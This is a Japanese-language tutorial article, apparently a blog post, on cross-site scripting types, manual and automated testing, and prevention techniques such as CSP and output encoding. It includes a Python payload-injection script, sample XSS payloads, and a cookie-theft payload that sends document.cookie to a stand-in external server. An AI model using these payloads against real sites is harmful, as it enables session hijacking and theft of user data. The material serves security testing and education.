クロスサイト スクリプティング (XSS) の脆弱性: テスト戦略と例

私が見た統計と私の経験によると、XSS の脆弱性は引き続き Web アプリケーションに対する蔓延した脅威であり、データの盗難、セッション ハイジャック、Web サイトの問題のリスクをもたらします。私は、このタイプの脆弱性の調査により多くの時間を費やし、多くの QA および開発専門家がこの問題に対してアプリをテストするいくつかの方法を念頭に置いていただけるよう、少なくともこの概要のような基本知識を共有できると判断しました。この記事では、さまざまな種類の XSS、テスト方法、自動化アプローチについて説明し、効果的な侵入テストのための例とペイロードをいくつか示します。

クロスサイト スクリプティング (XSS) を使用すると、攻撃者は他のユーザーが閲覧している Web ページに悪意のあるスクリプトを挿入し、クライアント側のコード実行の脆弱性を悪用できます。このような攻撃から保護された安全な Web アプリを構築するには、さまざまな種類の XSS 脆弱性を理解し、適切なテスト戦略を使用することが重要です。

XSS エクスプロイトは、信頼できないユーザー入力が不適切にサニタイズされて Web アプリケーション内で実行される場合に発生し、攻撃者が他のユーザーのブラウザーのコンテキストで悪意のあるスクリプトを挿入して実行できるようになります。

XSS 脆弱性の種類

反射型 XSS

ユーザーが指定したデータが適切な検証なしで応答にエコーバックされた場合に発生します。

例: URL パラメータを通じて挿入された<script>alert('XSS_DEMO')</script> 。

これらのエクスプロイトは、Web アプリケーションが適切なサニタイズを行わずに、未検証のユーザー入力をユーザーのブラウザーに反映した場合に発生します。この攻撃では、攻撃者はスクリプト コードを含む悪意のある URL を作成し、被害者がこのコードをクリックすると、脆弱な Web ページのコンテキスト内で実行されます。悪意のあるスクリプトはサーバーに保存されず、ユーザーの入力が直接反映されます。反映された XSS 脆弱性は、フィッシング攻撃やユーザーのブラウジング エクスペリエンスを操作するために悪用されることがよくあります。その影響は、Cookie の盗難からセッション ハイジャックに至るまで、深刻になる可能性があります。

保存された XSS

悪意のあるスクリプトはサーバーに永続的に保存され、他のユーザーがアクセスすると実行されます。

例:フォーラムの投稿またはソーシャル ネットワークのプロフィール ページのコメント/投稿に保存された悪意のあるスクリプト。

永続 XSS とも呼ばれるこの脆弱性は、攻撃者が悪意のあるスクリプト コードを Web アプリケーションに挿入し、そのコードがサーバー側に保存されるときに発生します。この挿入されたスクリプトは、他のユーザーが脆弱なページにアクセスするたびに、後で取得されて実行されます。保存された XSS 攻撃は、挿入されたスクリプトが時間の経過とともに持続するため、複数のユーザーに影響を及ぼし、広範な悪用につながる可能性があるため、特に危険です。攻撃者は通常、Web ページやプロフィール フィールドに表示されるコメント、フォーラムの投稿、エンティティ名などのユーザー生成コンテンツをターゲットにして、悪意のあるペイロードを実行します。保存された XSS の影響には、データの盗難、アカウントの乗っ取り、Web サイトの改ざんなどが含まれる可能性があり、ユーザーと影響を受ける組織の両方に重大なリスクをもたらします。

DOMベースのXSS

スクリプトの実行は、クライアント側の DOM の操作に依存します。

例: JS コードは、URL ハッシュからユーザー制御のデータを取得して実行します。

これは、Web アプリケーションが、信頼できないユーザー入力に基づいて安全でない方法で DOM を動的に操作する場合に発生します。サーバー側の処理が関与する従来の XSS 攻撃とは異なり、DOM ベースの XSS は完全にクライアント側で現れます。攻撃者はクライアント側のスクリプトを操作して DOM ベースの XSS を悪用し、被害者のブラウザ内で任意のコードを実行します。このタイプの XSS は、脆弱性がクライアント側のコード内に存在し、サーバー側のテストでは明らかでない可能性があるため、多くの場合、検出と軽減が困難です。 DOM ベースの XSS 攻撃は、セッション ハイジャック、データ漏洩、ユーザーに代わっての不正なアクションなど、さまざまな結果を引き起こす可能性があり、クライアント側のセキュリティ対策と慎重な Web アプリ開発実践の重要性が強調されています。

自己 XSS

これは、攻撃者がユーザーをだましてブラウザ内で悪意のあるコードを実行させるソーシャル エンジニアリング攻撃です。複数のユーザーをターゲットとする従来の XSS 攻撃とは異なり、Self-XSS はユーザーの信頼を利用してセッション内でコードを実行します。通常、攻撃者は、機能のロックを解除したり報酬を獲得したりするなど、無害なアクションを装って、被害者を誘い込み、ブラウザの開発者コンソールまたは Web サイトの一部のフィールドに一見無害に見える JS コードを貼り付けます。挿入されたコードが実行されると、被害者のアカウントを侵害したり、機密情報を盗んだり、被害者に代わって不正なアクションを実行したりする可能性があります。被害者のセッションに限定されているにもかかわらず、Self-XSS は依然として脅威であり、そのような欺瞞的な戦術を認識して回避するためのユーザー教育と意識の重要性が強調されています。

テスト

オートメーション

• XSS の自動スキャンには、OWASP ZAP、Burp Suite、XSStrike、PwnXSS、XSSer、Acunetix などのセキュリティ テスト ツールを使用します。
• アプリケーションをクロールし、入力ベクトルを識別し、ペイロードを挿入して XSS 脆弱性を検出するためのツールを構成します。
• 特定された脆弱性のスキャン結果を分析し、手動で再現し、PoC を作成して、潜在的な影響を理解し、問題の修正に優先順位を付けます。

いくつかのスクリプトを作成できます。私は Python の方が好きです。例:

 import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")

手動テスト

• XSS インジェクションの影響を受けやすい入力ベクトル (入力フィールド、URL パラメータなど) を特定します。クローラーとスニファーを使用すると、ベクトルをより効率的に識別できます。
• XSS の脆弱性を悪用するペイロードを作成します (スクリプト タグ、イベント ハンドラーなど)。

応答を分析して、ペイロードが反映されたか実行されたかを判断します。 PoC を作成し、潜在的な影響を理解し、問題の修正に優先順位を付けます。

手順:

1. アプリの入力フィールドに、スクリプト タグとそれに続く JS コードを入力します。

   たとえば、基本的な XSS ペイロードは次のとおりです。

    <script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.

2. 入力を送信して、スクリプトが実行されるかどうかを確認します。

3. 存在する場合、アプリケーションは XSS 攻撃に対して脆弱になります。

4. スクリプトが実行されない場合は、 <img>や<iframe>などの他の HTML タグを追加して入力を変更し、それらがページに反映されるかどうかを確認してください (これは私にとってはほとんどの場合うまくいきます)。

   <b>t</b>#`"/*—est

5. Web アプリの URL、ユーザー名、アップロードされたファイル名、またはアプリ ページに表示される変更可能なテキストのパラメーターをクエリするスクリプトを追加できます。

6. 入力のフロントエンド検証に注意してください。常に直接リクエスト (Postman、Burp、または同様のツールを使用) を使用して値を送信するようにしてください。

7. 開発ツールでブラウザ コンソールを確認してください。ページに目に見える変更が表示されない場合もありますが、一部の記号 (例: `"/*—はページの JS/HTML を破壊する可能性があり、コンソールに警告が表示されます。 XSS PoC を取得するためにペイロードを変更する方法に関するヒントになります。

ファジングとペイロードのリストを使用します。可能であればこのアプローチを自動化するか、特別なツールを使用します。

個人的には、ここからのペイロードと情報を使用するのが好きです。私の意見では、これは非常に便利なリソースです。

ブラックボックステスト

• XSS インジェクションに対して脆弱な入力ベクトルを特定します。
• XSS ペイロードを作成して挿入して、影響を評価し、脆弱な点を特定します。

グレーボックステスト

• ソース コードと潜在的な XSS のサニタイズ手順を分析します。
• アプリケーションの部分的な知識を対象を絞ったテストに活用します。

XSS の悪用

XSS 実証実験

• 任意の JS を実行するペイロードを挿入することで XSS の脆弱性を確認するデモを行います。
• バージョン 92 以降の Chrome ブラウザではprint()関数などの代替ペイロードを利用します。

高度な XSS 悪用

• Cookieを盗んだり、セッションハイジャックを行ったり、任意のコードを実行したりするため。
• ユーザーになりすます、資格情報を取得する、または Web ページを改ざんするため。

XSS フィルターのバイパス

• タグ属性値の挿入、難読化、HTTP パラメーター ポリューション (HPP) などのさまざまな技術を通じて、一般的な XSS フィルターを回避します。
• サンプル シナリオでは、フィルター メカニズムをバイパスして XSS ペイロードを正常に実行する方法を紹介しています。

予防テクニック

入力検証と出力エンコーディング

• 入力検証メカニズム (FE および BE) を実装して、ユーザーが指定したデータが予期された形式で問題がなく、悪意のあるコードが含まれていないことを確認します。
• すべてのユーザー入力を処理または保存する前に、サーバー側でサニタイズおよび検証します。
• 出力データを適切にエンコードして、ブラウザーによってアクティブ コンテンツとして解釈されないようにします。
• 出力データのコンテキストに基づいて、HTML エンティティ エンコード、URL エンコード、JS エスケープなどのエンコード技術を利用します。

コンテンツ セキュリティ ポリシー (CSP)

• コンテンツ セキュリティ ポリシー (CSP) ヘッダーを実装して、Web アプリケーション内のスクリプト、スタイルシート、その他のリソースの実行に関するセキュリティ ポリシーを定義および適用します。 CSP を使用すると、管理者はスクリプトをロードできるソースを制限し、不正なスクリプトの実行を防ぐことで XSS 攻撃のリスクを軽減できます。
• CSP ディレクティブを構成して、信頼できるドメイン、インライン スクリプトとスタイルの使用法、スクリプトの nonce を指定し、XSS の攻撃対象領域を効果的に削減します。

コンテキスト固有の出力エンコーディング

出力データがレンダリングされているコンテキストに基づいてデータをエンコードします。 HTML、JS、CSS、その他のコンテキストにさまざまなエンコード方式を適用して、XSS に対する包括的な保護を確保します。

たとえば、HTML コンテンツには HTML エンティティ エンコーディングを使用し、インライン スクリプト コンテキストには JavaScript エスケープを使用し、スタイル属性には CSS エスケープを使用して、スクリプト インジェクションを防止し、さまざまな出力コンテキスト間でデータの整合性を維持します。

入力のホワイトリストとブラックリスト

入力のホワイトリストとブラックリストを実装して、許可および禁止された文字、パターン、またはコンテンツ タイプの事前定義された許可リストと拒否リストに基づいてユーザー入力をフィルタリングおよび検証します。

• ホワイトリストには、予期される入力形式を明示的に定義し、これらの仕様に準拠しない入力を拒否することが含まれます。
• ブラックリストは、既知の悪意のある入力またはパターンを識別してブロックしますが、エンコードまたは難読化技術による回避の可能性があるため、効果が低い場合があります。

セキュリティヘッダーとサニタイズライブラリ

• X-XSS-Protection、X-Content-Type-Options、X-Frame-Options などのセキュリティ ヘッダーを使用して、Web アプリのセキュリティを向上させ、XSS を含むさまざまな攻撃ベクトルを防ぎます。
• サードパーティのサニタイズ ライブラリとフレームワークを開発スタックに統合して、入力検証、出力エンコーディング、その他のセキュリティ クリティカルなタスクを自動化します。これらのライブラリを定期的に更新および保守して、新たな脅威や脆弱性に効果的に対処します。

安全な開発プラクティスとセキュリティ意識

• 開発チームと QA チーム内で安全な開発実践を推進し、安全なコードを作成し、徹底的なコード レビューを実施し、ソフトウェア開発ライフサイクル全体を通じてセキュリティ テストを実行することの重要性を強調します。
• 開発者、QA エンジニア、その他の関係者の間でセキュリティ意識の文化を育み、XSS やその他の脆弱性、悪用手法、予防策に関する継続的な学習と知識の共有を奨励します。
• 継続的なトレーニング プログラム、コース、セミナー、カンファレンス、リソースに投資して、XSS を効果的に特定し、対処し、防止するために必要なスキルと専門知識をチーム メンバーに提供します。

XSS は Web アプリに永続的な脅威をもたらし、データ侵害やユーザーの信頼を危険にさらします。 XSS のタイプとテスト方法を理解することは、効果的な軽減のために重要です。入力検証、出力エンコード、CSP 実装などの防止手法により、アプリのセキュリティが向上します。セキュリティの実践とコラボレーションを優先することで、チームはアプリを XSS から保護し、適切な Web アプリのセキュリティを確保できます。

あなたが初心者でサイバーセキュリティと侵入テストに興味がある場合、または単にアプリを改善して安全性を高めたい場合は、次のトピックに関する私の記事を読むことができます。

• https://hackernoon.com/vulnerability-scanners-essentials
• https://hackernoon.com/cybersecurity-essentials-practical-web-app-security-testing-tips-for-qa-engineers
• https://hackernoon.com/defending-your-web-app-a-guide-to-rate-limiting-and-brute-force-attach-prevention

XSS とペイロードの詳細については、次のリソースを参照してください。

• https://owasp.org/www-community/攻撃/xss/
• https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
• https://gist.github.com/kurobeats/9a613c9ab68914312cbb415134795b45

重要な注意事項: